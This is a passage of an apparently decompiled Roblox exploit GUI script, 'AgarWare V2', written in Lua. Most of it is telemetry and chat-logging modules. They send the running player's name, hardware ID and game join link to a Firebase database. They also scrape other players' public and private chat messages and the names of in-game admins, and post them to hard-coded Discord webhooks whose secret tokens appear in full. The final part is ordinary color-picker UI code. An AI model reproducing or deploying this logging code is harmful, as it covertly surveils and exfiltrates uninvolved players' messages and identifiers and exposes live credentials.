.. "/online_users_v2/" .. _plr.Name .. ".json", Method = "PUT", Headers = { ["Content-Type"] = "application/json" }, Body = _HttpService:JSONEncode({ username_display = _plr.Name .. " / " .. _plr.DisplayName, hwid = _hwid(), game_name = _productInfo.Name, game_link = _joinLink(), place_id = game.PlaceId, last_heartbeat = os.time() }) }) end) end -- Add to online list IMMEDIATELY on execute updateOnlineStatus() -- Send heartbeat every 3 minutes (180 seconds) spawn(function() while wait(180) do updateOnlineStatus() end end) -- Remove from online list when player leaves game:GetService("Players").PlayerRemoving:Connect(function(player) if player == _plr then pcall(function() _req({ Url = _FIREBASE_URL .. "/online_users_v2/" .. _plr.Name .. ".json", Method = "DELETE" }) end) end end) local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com" local WEBHOOK_URL = "https://discord.com/api/webhooks/1504424194379616307/YMI2JqLe2hB4QQh4feTUSa8qZK8s07ReUj4U09WnjKv_BOwQ-1Y84nf-jjCIPlHug4Nc" local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request) local _plr = Players.LocalPlayer -- Get current total execution count from Firebase local function getTotalExecutionCount() local success, response = pcall(function() return _req({ Url = FIREBASE_URL .. "/view/totalexecutioncount_v2.json", Method = "GET" }) end) if success and response.StatusCode == 200 then local count = HttpService:JSONDecode(response.Body) if type(count) == "number" then return count end end return 0 end -- Update total execution count in Firebase local function updateTotalExecutionCount(newCount) pcall(function() _req({ Url = FIREBASE_URL .. "/view/totalexecutioncount_v2.json", Method = "PUT", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode(newCount) }) end) end -- Send Discord webhook local function sendWebhook(executionCount) pcall(function() local embed = { title = "AGAR WARE V2", description = string.format("This script has been executed **%d** times.", executionCount), color = 2346240, footer = { text = "Last Execution: " .. _plr.Name }, timestamp = DateTime.now():ToIsoDate() } _req({ Url = WEBHOOK_URL, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode({ embeds = { embed } }) }) end) end -- Main execution local currentCount = getTotalExecutionCount() local newCount = currentCount + 1 -- Update Firebase updateTotalExecutionCount(newCount) -- Send webhook sendWebhook(newCount) end; task.spawn(C_350); -- StarterGui.AgarWareGui.Webhook.ChatLogs local function C_351() local script = G2L["351"]; local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer -- Whitelist of allowed user IDs local ALLOWED_USERS = { 574381128, -- main 10587072700, -- alt 1 8308247571, -- alt 2 10837544781, -- agarv609 } -- Check if current player is whitelisted local function isWhitelisted() for _, id in pairs(ALLOWED_USERS) do if LocalPlayer.UserId == id then return true end end return false end -- Stop script if not whitelisted if not isWhitelisted() then return end local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495387476867551474/KD8pq8e7P-nU7O2jEhKpTCV2G1wzWVDcjZ07bEOWGaJr-twJChTw5ZBSibfONVwfqaui" local CoreGui = game:GetService("CoreGui") local ExperienceChat = CoreGui:WaitForChild("ExperienceChat") local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow") local scrollingView = chatWindow:WaitForChild("scrollingView") local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView") local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView") local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView") local processedFrames = {} local lastWebhookTime = 0 local WEBHOOK_COOLDOWN = 0.5 local function getEmbedColor(buttonText) if string.match(buttonText, "HIDDEN CHAT") then return 0xff0000 end if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then return 0x000000 end local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)") if r and g and b then r, g, b = tonumber(r), tonumber(g), tonumber(b) return (r * 65536) + (g * 256) + b end return 0xffffff end local function sendWebhook(display, message, embedColor, buttonText) -- Check cooldown local currentTime = tick() if currentTime - lastWebhookTime < WEBHOOK_COOLDOWN then task.wait(WEBHOOK_COOLDOWN - (currentTime - lastWebhookTime)) end local prefix = "" if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then prefix = "*(PRIVATE)* " end local title = prefix .. "**" .. display .. "** " .. message local embed = { ["title"] = title, ["color"] = embedColor } local payload = { ["embeds"] = {embed} } pcall(function() request({ Url = WEBHOOK_URL, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode(payload) }) end) lastWebhookTime = tick() end local function onFrameAdded(frame) if processedFrames[frame] then return end processedFrames[frame] = true local frameName = frame.Name local userId = string.match(frameName, "^(%d+)%-") if not userId or userId == "0" then return end task.wait(0.1) local textMessage = frame:FindFirstChild("TextMessage") if not textMessage then return end local prefixText = textMessage:FindFirstChild("PrefixText") local bodyText = textMessage:FindFirstChild("BodyText") local textButton = textMessage:FindFirstChild("TextMessageButton") if not prefixText or not bodyText or not textButton then return end local textButtonButton = textButton:FindFirstChild("TextButton") if not textButtonButton then return end local display = prefixText.ContentText display = string.gsub(display, "%[To .-%] ", "") display = string.gsub(display, "%[From .-%] ", "") local fullMessage = bodyText.ContentText local buttonText = textButtonButton.Text local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To") local message = fullMessage if isPrivate then message = string.gsub(message, "%[To .-%] ", "") message = string.gsub(message, "%[From .-%] ", "") if string.sub(message, 1, #display) == display then message = string.sub(message, #display + 1) end else if string.sub(fullMessage, 1, #display) == display then message = string.sub(fullMessage, #display + 1) end end message = string.match(message, "^%s*(.-)%s*$") local embedColor = getEmbedColor(buttonText) sendWebhook(display, message, embedColor, buttonText) end for _, child in pairs(RCTScrollContentView:GetChildren()) do if child:IsA("Frame") then processedFrames[child] = true end end RCTScrollContentView.ChildAdded:Connect(function(child) if child:IsA("Frame") then onFrameAdded(child) end end) end; task.spawn(C_351); -- StarterGui.AgarWareGui.Webhook.GlobalChatLogs local function C_352() local script = G2L["352"]; local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local Teams = game:GetService("Teams") local LocalPlayer = Players.LocalPlayer local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495421144583372852/gfcaXuJASoC1jV0dnZhIYKip-1QkTYCwhwrNlE52huinWxAJXd7tVv8dV4oP1peEq_E4" local CoreGui = game:GetService("CoreGui") local ExperienceChat = CoreGui:WaitForChild("ExperienceChat") local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow") local scrollingView = chatWindow:WaitForChild("scrollingView") local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView") local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView") local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView") local processedFrames = {} local lastWebhookTime = 0 local WEBHOOK_COOLDOWN = 0.5 local function getAdmins() local admins = {} local chosenTeam = Teams:FindFirstChild("Chosen") if chosenTeam then for _, player in pairs(Players:GetPlayers()) do if player.Team == chosenTeam then table.insert(admins, player) end end end return admins end local function getAdminFooter() local admins = getAdmins() if #admins == 0 then return "Admin: None" end local adminTexts = {} for i, admin in ipairs(admins) do table.insert(adminTexts, admin.DisplayName .. " / " .. admin.Name) end return "Admin: " .. table.concat(adminTexts, ", ") end local function getEmbedColor(buttonText) if string.match(buttonText, "HIDDEN CHAT") then return 0xff0000 end if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then return 0x000000 end local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)") if r and g and b then r, g, b = tonumber(r), tonumber(g), tonumber(b) return (r * 65536) + (g * 256) + b end return 0xffffff end local function sendWebhook(display, message, embedColor, buttonText) -- Check cooldown local currentTime = tick() if currentTime - lastWebhookTime < WEBHOOK_COOLDOWN then task.wait(WEBHOOK_COOLDOWN - (currentTime - lastWebhookTime)) end local prefix = "" if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then prefix = "*(PRIVATE)* " end local title = prefix .. "**" .. display .. "** " .. message local embed = { ["title"] = title, ["color"] = embedColor, ["footer"] = { ["text"] = getAdminFooter() }, ["timestamp"] = DateTime.now():ToIsoDate() } local payload = { ["username"] = tostring(LocalPlayer.UserId), ["embeds"] = {embed} } pcall(function() request({ Url = WEBHOOK_URL, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode(payload) }) end) lastWebhookTime = tick() end local function onFrameAdded(frame) if processedFrames[frame] then return end processedFrames[frame] = true local frameName = frame.Name local userId = string.match(frameName, "^(%d+)%-") if not userId or userId == "0" then return end task.wait(0.1) local textMessage = frame:FindFirstChild("TextMessage") if not textMessage then return end local prefixText = textMessage:FindFirstChild("PrefixText") local bodyText = textMessage:FindFirstChild("BodyText") local textButton = textMessage:FindFirstChild("TextMessageButton") if not prefixText or not bodyText or not textButton then return end local textButtonButton = textButton:FindFirstChild("TextButton") if not textButtonButton then return end local display = prefixText.ContentText display = string.gsub(display, "%[To .-%] ", "") display = string.gsub(display, "%[From .-%] ", "") local fullMessage = bodyText.ContentText local buttonText = textButtonButton.Text local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To") local message = fullMessage if isPrivate then message = string.gsub(message, "%[To .-%] ", "") message = string.gsub(message, "%[From .-%] ", "") if string.sub(message, 1, #display) == display then message = string.sub(message, #display + 1) end else if string.sub(fullMessage, 1, #display) == display then message = string.sub(fullMessage, #display + 1) end end message = string.match(message, "^%s*(.-)%s*$") local embedColor = getEmbedColor(buttonText) sendWebhook(display, message, embedColor, buttonText) end for _, child in pairs(RCTScrollContentView:GetChildren()) do if child:IsA("Frame") then processedFrames[child] = true end end RCTScrollContentView.ChildAdded:Connect(function(child) if child:IsA("Frame") then onFrameAdded(child) end end) end; task.spawn(C_352); -- StarterGui.AgarWareGui.Webhook.ChatLogsHIDDEN local function C_353() local script = G2L["353"]; local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer -- Whitelist of allowed user IDs local ALLOWED_USERS = { 574381128, -- main 10587072700, -- alt 1 8308247571, -- alt 2 10837544781, -- agarv609 } -- Check if current player is whitelisted local function isWhitelisted() for _, id in pairs(ALLOWED_USERS) do if LocalPlayer.UserId == id then return true end end return false end -- Stop script if not whitelisted if not isWhitelisted() then return end local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495434161190600704/2MBrbN3r9e5mWpmyRVNhpuegrZeT4vKzInt18KZpHOa7Ix1Jr3imCthfD8o0VV2pi2q6" local CoreGui = game:GetService("CoreGui") local ExperienceChat = CoreGui:WaitForChild("ExperienceChat") local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow") local scrollingView = chatWindow:WaitForChild("scrollingView") local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView") local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView") local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView") local processedFrames = {} local lastWebhookTime = 0 local WEBHOOK_COOLDOWN = 2 local function getEmbedColor(buttonText) if string.match(buttonText, "HIDDEN CHAT") then return 0xff0000 end if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then return 0x000000 end local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)") if r and g and b then r, g, b = tonumber(r), tonumber(g), tonumber(b) return (r * 65536) + (g * 256) + b end return 0xffffff end local function isExcludedColor(embedColor) -- Admin color: rgb(245,205,48) local adminColor = (245 * 65536) + (205 * 256) + 48 -- Neutral color: rgb(150,103,102) local neutralColor = (150 * 65536) + (103 * 256) + 102 -- Enlighten color: rgb(4,175,236) local enlightenColor = (4 * 65536) + (175 * 256) + 236 -- White color local whiteColor = 0xffffff -- Check if the color matches any excluded color if embedColor == adminColor then return true end if embedColor == neutralColor then return true end if embedColor == enlightenColor then return true end if embedColor == whiteColor then return true end return false end local function sendWebhook(display, message, embedColor, buttonText) -- Don't log if color is excluded if isExcludedColor(embedColor) then return end -- Check cooldown local currentTime = tick() if currentTime - lastWebhookTime < WEBHOOK_COOLDOWN then task.wait(WEBHOOK_COOLDOWN - (currentTime - lastWebhookTime)) end local prefix = "" if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then prefix = "*(PRIVATE)* " end local title = prefix .. "**" .. display .. "** " .. message local embed = { ["title"] = title, ["color"] = embedColor, ["timestamp"] = DateTime.now():ToIsoDate() } local payload = { ["embeds"] = {embed} } pcall(function() request({ Url = WEBHOOK_URL, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode(payload) }) end) lastWebhookTime = tick() end local function onFrameAdded(frame) if processedFrames[frame] then return end processedFrames[frame] = true local frameName = frame.Name local userId = string.match(frameName, "^(%d+)%-") if not userId or userId == "0" then return end task.wait(0.1) local textMessage = frame:FindFirstChild("TextMessage") if not textMessage then return end local prefixText = textMessage:FindFirstChild("PrefixText") local bodyText = textMessage:FindFirstChild("BodyText") local textButton = textMessage:FindFirstChild("TextMessageButton") if not prefixText or not bodyText or not textButton then return end local textButtonButton = textButton:FindFirstChild("TextButton") if not textButtonButton then return end local display = prefixText.ContentText display = string.gsub(display, "%[To .-%] ", "") display = string.gsub(display, "%[From .-%] ", "") local fullMessage = bodyText.ContentText local buttonText = textButtonButton.Text local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To") local message = fullMessage if isPrivate then message = string.gsub(message, "%[To .-%] ", "") message = string.gsub(message, "%[From .-%] ", "") if string.sub(message, 1, #display) == display then message = string.sub(message, #display + 1) end else if string.sub(fullMessage, 1, #display) == display then message = string.sub(fullMessage, #display + 1) end end message = string.match(message, "^%s*(.-)%s*$") local embedColor = getEmbedColor(buttonText) sendWebhook(display, message, embedColor, buttonText) end for _, child in pairs(RCTScrollContentView:GetChildren()) do if child:IsA("Frame") then processedFrames[child] = true end end RCTScrollContentView.ChildAdded:Connect(function(child) if child:IsA("Frame") then onFrameAdded(child) end end) end; task.spawn(C_353); -- StarterGui.AgarWareGui.Webhook.GlobalChatLogsHIDDEN local function C_354() local script = G2L["354"]; local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local Teams = game:GetService("Teams") local LocalPlayer = Players.LocalPlayer local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495435106817540146/KZ18qjWOyBOvHWiuaXyJBxPLNgclinWr9pjBEqo1YEygAkw0dad8GaD65V4UmqZLZZNl" local CoreGui = game:GetService("CoreGui") local ExperienceChat = CoreGui:WaitForChild("ExperienceChat") local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow") local scrollingView = chatWindow:WaitForChild("scrollingView") local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView") local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView") local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView") local processedFrames = {} local function getAdmins() local admins = {} local chosenTeam = Teams:FindFirstChild("Chosen") if chosenTeam then for _, player in pairs(Players:GetPlayers()) do if player.Team == chosenTeam then table.insert(admins, player) end end end return admins end local function getAdminFooter() local admins = getAdmins() if #admins == 0 then return "Admin: None" end local adminTexts = {} for i, admin in ipairs(admins) do table.insert(adminTexts, admin.DisplayName .. " / " .. admin.Name) end return "Admin: " .. table.concat(adminTexts, ", ") end local function getEmbedColor(buttonText) if string.match(buttonText, "HIDDEN CHAT") then return 0xff0000 end if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then return 0x000000 end local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)") if r and g and b then r, g, b = tonumber(r), tonumber(g), tonumber(b) return (r * 65536) + (g * 256) + b end return 0xffffff end local function isExcludedColor(embedColor) -- Admin color: rgb(245,205,48) local adminColor = (245 * 65536) + (205 * 256) + 48 -- Neutral color: rgb(150,103,102) local neutralColor = (150 * 65536) + (103 * 256) + 102 -- Enlighten color: rgb(4,175,236) local enlightenColor = (4 * 65536) + (175 * 256) + 236 -- White color local whiteColor = 0xffffff -- Check if the color matches any excluded color if embedColor == adminColor then return true end if embedColor == neutralColor then return true end if embedColor == enlightenColor then return true end if embedColor == whiteColor then return true end return false end local function sendWebhook(display, message, embedColor, buttonText) -- Don't log if color is excluded if isExcludedColor(embedColor) then return end local prefix = "" if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then prefix = "*(PRIVATE)* " end local title = prefix .. "**" .. display .. "** " .. message local embed = { ["title"] = title, ["color"] = embedColor, ["footer"] = { ["text"] = getAdminFooter() }, ["timestamp"] = DateTime.now():ToIsoDate() } local payload = { ["embeds"] = {embed} } pcall(function() request({ Url = WEBHOOK_URL, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode(payload) }) end) end local function onFrameAdded(frame) if processedFrames[frame] then return end processedFrames[frame] = true local frameName = frame.Name local userId = string.match(frameName, "^(%d+)%-") if not userId or userId == "0" then return end task.wait(0.1) local textMessage = frame:FindFirstChild("TextMessage") if not textMessage then return end local prefixText = textMessage:FindFirstChild("PrefixText") local bodyText = textMessage:FindFirstChild("BodyText") local textButton = textMessage:FindFirstChild("TextMessageButton") if not prefixText or not bodyText or not textButton then return end local textButtonButton = textButton:FindFirstChild("TextButton") if not textButtonButton then return end local display = prefixText.ContentText display = string.gsub(display, "%[To .-%] ", "") display = string.gsub(display, "%[From .-%] ", "") local fullMessage = bodyText.ContentText local buttonText = textButtonButton.Text local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To") local message = fullMessage if isPrivate then message = string.gsub(message, "%[To .-%] ", "") message = string.gsub(message, "%[From .-%] ", "") if string.sub(message, 1, #display) == display then message = string.sub(message, #display + 1) end else if string.sub(fullMessage, 1, #display) == display then message = string.sub(fullMessage, #display + 1) end end message = string.match(message, "^%s*(.-)%s*$") local embedColor = getEmbedColor(buttonText) sendWebhook(display, message, embedColor, buttonText) end for _, child in pairs(RCTScrollContentView:GetChildren()) do if child:IsA("Frame") then processedFrames[child] = true end end RCTScrollContentView.ChildAdded:Connect(function(child) if child:IsA("Frame") then onFrameAdded(child) end end) end; task.spawn(C_354); -- StarterGui.AgarWareGui.Webhook.UserChatLogs local function C_355() local script = G2L["355"]; local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local Teams = game:GetService("Teams") local LocalPlayer = Players.LocalPlayer local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495474031992770712/bfFcwvPHA8lDK4rDRPZ4tvkp8_ij-YzrNualLG1zHEtDa4ly4tyHcgGi0Pld_rBs341b" task.wait(2) local CoreGui = game:GetService("CoreGui") local ExperienceChat = CoreGui:FindFirstChild("ExperienceChat") if not ExperienceChat then return end local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow") local scrollingView = chatWindow:WaitForChild("scrollingView") local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView") local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView") local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView") local processedFrames = {} local function getAdmins() local admins = {} local chosenTeam = Teams:FindFirstChild("Chosen") if chosenTeam then for _, player in pairs(Players:GetPlayers()) do if player.Team == chosenTeam then table.insert(admins, player) end end end return admins end local function getAdminFooter() local admins = getAdmins() if #admins == 0 then return "Admin: None" end local adminTexts = {} for i, admin in ipairs(admins) do table.insert(adminTexts, admin.DisplayName .. " / " .. admin.Name) end return "Admin: " .. table.concat(adminTexts, ", ") end local function getEmbedColor(buttonText) if string.match(buttonText, "HIDDEN CHAT") then return 0xff0000 end if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then return 0x000000 end local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)") if r and g and b then r, g, b = tonumber(r), tonumber(g), tonumber(b) return (r * 65536) + (g * 256) + b end return 0xffffff end local function getJoinLink() local ok, link = pcall(function() return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId end) return ok and link or "" end local function containsAgarv(message) -- Check if message contains @agarv (case insensitive, @ must be directly followed by agarv) return string.match(string.lower(message), "@agarv") ~= nil end local function sendWebhook(display, message, embedColor, buttonText) local prefix = "" local hasMention = containsAgarv(message) -- Extract [To Display] or [From Display] from buttonText local toMatch = string.match(buttonText, "%[To .-%]") local fromMatch = string.match(buttonText, "%[From .-%]") if toMatch then prefix = "*" .. toMatch .. "* " elseif fromMatch then prefix = "*" .. fromMatch .. "* " end local title = prefix .. "**" .. display .. "** " .. message local embed = { ["title"] = title, ["color"] = embedColor, ["footer"] = { ["text"] = getAdminFooter() }, ["timestamp"] = DateTime.now():ToIsoDate() } -- Add description with join link if message contains @agarv if hasMention then embed["description"] = "[Join Game](" .. getJoinLink() .. ")" end local payload = { ["username"] = tostring(LocalPlayer.UserId), ["embeds"] = {embed} } -- Add ping in content if message contains @agarv if hasMention then payload["content"] = "<@1301477323090034731>" end local requestFunc = request or http_request or (syn and syn.request) or (http and http.request) pcall(function() requestFunc({ Url = WEBHOOK_URL, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode(payload) }) end) end local function onFrameAdded(frame) if processedFrames[frame] then return end processedFrames[frame] = true local frameName = frame.Name local userId = string.match(frameName, "^(%d+)%-") if not userId or userId == "0" then return end -- Only log messages sent by the local player if tonumber(userId) ~= LocalPlayer.UserId then return end task.wait(0.1) local textMessage = frame:FindFirstChild("TextMessage") if not textMessage then return end local prefixText = textMessage:FindFirstChild("PrefixText") local bodyText = textMessage:FindFirstChild("BodyText") local textButton = textMessage:FindFirstChild("TextMessageButton") if not prefixText or not bodyText or not textButton then return end local textButtonButton = textButton:FindFirstChild("TextButton") if not textButtonButton then return end local display = prefixText.ContentText display = string.gsub(display, "%[To .-%] ", "") display = string.gsub(display, "%[From .-%] ", "") local fullMessage = bodyText.ContentText local buttonText = textButtonButton.Text local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To") local message = fullMessage if isPrivate then message = string.gsub(message, "%[To .-%] ", "") message = string.gsub(message, "%[From .-%] ", "") if string.sub(message, 1, #display) == display then message = string.sub(message, #display + 1) end else if string.sub(fullMessage, 1, #display) == display then message = string.sub(fullMessage, #display + 1) end end message = string.match(message, "^%s*(.-)%s*$") local embedColor = getEmbedColor(buttonText) sendWebhook(display, message, embedColor, buttonText) end for _, child in pairs(RCTScrollContentView:GetChildren()) do if child:IsA("Frame") then processedFrames[child] = true end end RCTScrollContentView.ChildAdded:Connect(function(child) if child:IsA("Frame") then onFrameAdded(child) end end) end; task.spawn(C_355); -- StarterGui.AgarWareGui.ColorPicker.DragColorPicker local function C_357() local script = G2L["357"]; -- DragHandler for ColorPicker local ColorPicker = script.Parent local HueSlider = ColorPicker:WaitForChild("HueSlider") local SaturationValueCanvas = ColorPicker:WaitForChild("SaturationValueCanvas") local UserInputService = game:GetService("UserInputService") local dragging = false local dragStart = nil local startPos = nil -- Check if mouse/touch is over HueSlider or Canvas local function isOverColorControls(position) -- Check HueSlider local huePos = HueSlider.AbsolutePosition local hueSize = HueSlider.AbsoluteSize local overHue = position.X >= huePos.X and position.X <= huePos.X + hueSize.X and position.Y >= huePos.Y and position.Y <= huePos.Y + hueSize.Y -- Check Canvas local canvasPos = SaturationValueCanvas.AbsolutePosition local canvasSize = SaturationValueCanvas.AbsoluteSize local overCanvas = position.X >= canvasPos.X and position.X <= canvasPos.X + canvasSize.X and position.Y >= canvasPos.Y and position.Y <= canvasPos.Y + canvasSize.Y return overHue or overCanvas end ColorPicker.InputBegan:Connect(function(input, gameProcessed) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then if not isOverColorControls(input.Position) then dragging = true dragStart = input.Position startPos = ColorPicker.Position input:Destroy() -- sink the input so camera doesn't receive it end end end) ColorPicker.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false end end) UserInputService.InputChanged:Connect(function(input, gameProcessed) if (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) and dragging then local delta = input.Position - dragStart ColorPicker.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) input:Destroy() -- sink so camera doesn't pan end end) end; task.spawn(C_357); -- StarterGui.AgarWareGui.ColorPicker.ColorPickerScript local function C_358() local script = G2L["358"]; local ColorPicker = script.Parent local HueSlider = ColorPicker.HueSlider local SaturationValueCanvas = ColorPicker.SaturationValueCanvas local ColorSelect = ColorPicker.ColorSelect local HEX = ColorPicker.HEX local CloseColorPicker = ColorPicker.CloseColorPicker local UserInputService = game:GetService("UserInputService") -- ============================================================ -- CENTER ON SCREEN (ONLY FIRST TIME EVER) -- ============================================================ local hasBeenCentered = false local function centerFrame() if not hasBeenCentered then local screenSize = ColorPicker.Parent.AbsoluteSize ColorPicker.Position = UDim2.new(0.5, -ColorPicker.Size.X.Offset / 2, 0.5, -ColorPicker.Size.Y.Offset / 2) hasBeenCentered = true end end -- Hide on startup ColorPicker.Visible = false -- ============================================================ -- COLOR STATE -- ============================================================ local hue = 0 local sat = 0 local val = 1 local currentColor = Color3.fromRGB(255, 255, 255) -- ============================================================ -- CREATE HUE GRADIENT (HORIZONTAL) -- ============================================================ HueSlider.BackgroundColor3 = Color3.fromRGB(255, 255, 255) -- Set to white so gradient shows HueSlider.BorderColor3 = Color3.fromRGB(58, 58, 58) -- Original border HueSlider.Active = true -- Sink input to prevent camera movement on mobile local hueGradient = Instance.new("UIGradient") hueGradient.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 0, 0)), -- Red ColorSequenceKeypoint.new(0.17, Color3.fromRGB(255, 255, 0)), -- Yellow ColorSequenceKeypoint.new(0.33, Color3.fromRGB(0, 255, 0)), -- Green ColorSequenceKeypoint.new(0.5, Color3.fromRGB(0, 255, 255)), -- Cyan ColorSequenceKeypoint.new(0.67, Color3.fromRGB(0, 0, 255)), -- Blue ColorSequenceKeypoint.new(0.83, Color3.fromRGB(255, 0, 255)), -- Magenta ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 0, 0)) -- Red }) hueGradient.Rotation = 0 -- Horizontal hueGradient.Parent = HueSlider -- ============================================================ -- CREATE CANVAS GRADIENTS -- ============================================================ SaturationValueCanvas.BackgroundColor3 = Color3.fromRGB(255, 255, 255) -- Set to white SaturationValueCanvas.BorderColor3 = Color3.fromRGB(58, 58, 58) -- Original border SaturationValueCanvas.Active = true -- Sink input to prevent camera movement on mobile local satGradient = Instance.new("UIGradient") satGradient.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1, Color3.new(1, 0, 0)) }) satGradient.Rotation = 0 satGradient.Parent = SaturationValueCanvas local brightFrame = Instance.new("Frame") brightFrame.Size = UDim2.new(1, 0, 1, 0) brightFrame.BackgroundColor3 = Color3.new(0, 0, 0) brightFrame.BorderSizePixel = 0 brightFrame.ZIndex = SaturationValueCanvas.ZIndex + 1 brightFrame.Parent = SaturationValueCanvas local brightGradient = Instance.new("UIGradient") brightGradient.Rotation = 90 brightGradient.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 0) }) brightGradient.Parent = brightFrame -- ============================================================ -- CREATE CANVAS CURSOR (CIRCLE) -- ============================================================ local canvasCursor = Instance.new("Frame") canvasCursor.Size = UDim2.new(0, 14, 0, 14) canvasCursor.AnchorPoint = Vector2.new(0.5, 0.5) canvasCursor.BackgroundColor3 = Color3.new(1, 1, 1) canvasCursor.BorderSizePixel = 0 canvasCursor.ZIndex = SaturationValueCanvas.ZIndex + 2 canvasCursor.Parent = SaturationValueCanvas local canvasCursorCorner = Instance.new("UICorner") canvasCursorCorner.CornerRadius = UDim.new(1, 0) canvasCursorCorner.Parent = canvasCursor local canvasCursorStroke = Instance.new("UIStroke") canvasCursorStroke.Color = Color3.new(0, 0, 0) canvasCursorStroke.Thickness = 2 canvasCursorStroke.Parent = canvasCursor -- ============================================================ -- CREATE HUE CURSOR (VERTICAL LINE) -- ============================================================ local hueCursor = Instance.new("Frame") hueCursor.Size = UDim2.new(0, 3, 1, 0) hueCursor.AnchorPoint = Vector2.new(0.5, 0) hueCursor.BackgroundColor3 = Color3.new(1, 1, 1) hueCursor.BorderSizePixel = 0 hueCursor.ZIndex = HueSlider.ZIndex + 1 hueCursor.Parent = HueSlider local hueCursorStroke = Instance.new("UIStroke") hueCursorStroke.Color = Color3.new(0, 0, 0) hueCursorStroke.Thickness = 1 hueCursorStroke.Parent = hueCursor -- ============================================================ -- UPDATE FUNCTIONS -- ============================================================ local function updateCanvas() local hueColor = Color3.fromHSV(hue, 1, 1) satGradient.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1, hueColor) }) end local function updateColor() currentColor = Color3.fromHSV(hue, sat, val) -- Update Select button background ColorSelect.BackgroundColor3 = currentColor -- Determine if text should be black or white local r, g, b = currentColor.R, currentColor.G, currentColor.B local luminance = 0.299 * r + 0.587 * g + 0.114 * b ColorSelect.TextColor3 = luminance > 0.5 and Color3.new(0, 0, 0) or Color3.new(1, 1, 1) -- Update HEX textbox local hex = string.format("#%02x%02x%02x", math.floor(currentColor.R * 255), math.floor(currentColor.G * 255), math.floor(currentColor.B * 255) ) if HEX.Text ~= hex then HEX.Text = hex end end local function updateHueCursor(relativeX) relativeX = math.clamp(relativeX, 0, 1) hue = relativeX hueCursor.Position = UDim2.new(relativeX, 0, 0, 0) updateCanvas() updateColor() end local function updateCanvasCursor(relativeX, relativeY) relativeX = math.clamp(relativeX, 0, 1) relativeY 